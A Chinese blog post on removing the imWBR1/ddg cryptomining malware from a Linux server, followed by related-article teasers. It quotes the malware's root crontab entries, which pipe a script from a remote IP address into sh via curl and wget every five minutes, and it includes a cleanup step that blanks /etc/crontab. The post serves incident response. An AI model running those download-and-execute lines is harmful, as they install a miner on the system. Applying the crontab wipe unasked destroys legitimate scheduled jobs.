linux下imwbr1进程,清除挖矿程序（imWBR1，ddg，wipefs），亲测可用

Linux 命令

估计这两个是定时下载病毒程序的任务

# cat /var/spool/cron/crontabs/root

*/5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh | sh

*/5 * * * * wget -q -O- http://218.248.40.228:8443/i.sh | sh

# rm -fr /var/spool/cron/

# ps -aux|grep ddg

root 1565 0.0 0.3 198580 5832 ? Sl Mar27 0:48 /tmp/ddg.3001

root 31956 0.0 0.0 112660 976 pts/2 S+ 09:40 0:00 grep --color=auto ddg

# kill -9 1565

ps -aux|grep imWBR1

root 31697 0.4 1.3 319948 25936 ? Ssl 09:15 0:07 /tmp/imWBR1

root 31970 0.0 0.0 112660 976 pts/2 S+ 09:41 0:00 grep --color=auto imWBR1

# kill -9 31697

# rm -f /tmp/ddg.*

# rm -rf /tmp/imWBR1

# cat /etc/crontab

看到这个wipefs的定时任务,wipefs本来是正常的，但是top看wipefs占cpu很大，所以是挖坑伪装的

0 */6 * * * root /bin/wipefs

# echo "" > /etc/crontab

linux下imwbr1进程,清除挖矿程序（imWBR1，ddg，wipefs），亲测可用相关推荐

ubuntu下 teamviewer的安装方法（超简单，亲测可用）
ubuntu下 teamviewer的安装方法(超简单,亲测可用) 1.去官网下载安装包官网链接:https://www.teamviewer.com/zhcn/download/linux/ 点击 ...
从零开始的Linux 802.11WiFi CSITool（AP和monitor模式均亲测可用）
从零开始的Linux WiFi CSITool(AP和monitor模式均亲测可用) 主要参考 1.官方资料: 2.亲测可用安装教程: 零.Linux及CSI相关知识的学习 1.Linux相关 1.1 ...
python 程序开机自启动，亲测可用
我们公司的采用的谷歌的云机器,如果机器里由显卡,那么这台机器会每隔一段时间会重启重启后会导致任务挂掉,对于布置的在机器上的服务需要设置开机自启动. 这个是开机就启动python 程序在 /lib/s ...
Windows和VM下的Ubuntu虚拟系统之间相互复制粘贴（亲测可用）
文章目录一.问题二.解决思路三.解决方法一.问题 Windows和VM下的Ubuntu虚拟系统之间相互复制粘贴二.解决思路两个系统之间不能直接粘贴复制,安装辅助工具即可. 三.解决方法 s ...
2022最新wifi大师，wifi分销小程序源码，亲测可用
话不多说,直接上干货微信搜索,wifi鑫速连,就可以获得源码和解压密码
微信小程序码的生成(JAVA完整版) 亲测可用
JAVA生成小程序码(太阳码) 首先准备工具类,这里我使用的是QrUtil;废话不多说,上工具类; 工具类是获取token使用; appid = 小程序appID secret = 小程序秘钥 /** ...
linux 查看进程变量,Linux下查看进程(程序)启动时的环境变量
Linux下查看进程(程序)启动时的环境变量 Linux的pargs ==================================== 今天又遇到一个老问题: 同事遇到了sqlplus &qu ...
linux环境下查看进程,Linux下查看进程(程序)启动时的环境变量
背景: 因最近试安装Linux下的jira,有一个中文插件安装后,一旦设置开机启动后,它是英文,而在终端再重新启动一次后呢,似乎插件生效,它又恢复为正常中文界面,我首先想这这涉及到一个环境变量的问题, ...
阿里云ECS遭挖矿程序攻击解决方法（彻底清除挖矿程序，顺便下载了挖矿程序的脚本）
一:杀死挖矿程序进程在服务器上使用top指令查看cpu的使用情况,发现有一个叫java的程序占用cpu高达99.9% PID USER PR NI VIRT RES SHR S %CPU %MEM ...
linux 下得到进程的启动时间
linux 下得到进程的启动时间! 运行方式:./pstart 进程号 " 如: ./pstart 1 #!/bin/bash pid=$1 if [ "$pid" == ...

linux下imwbr1进程,清除挖矿程序（imWBR1，ddg，wipefs），亲测可用

linux下imwbr1进程,清除挖矿程序（imWBR1，ddg，wipefs），亲测可用相关推荐

最新文章

热门文章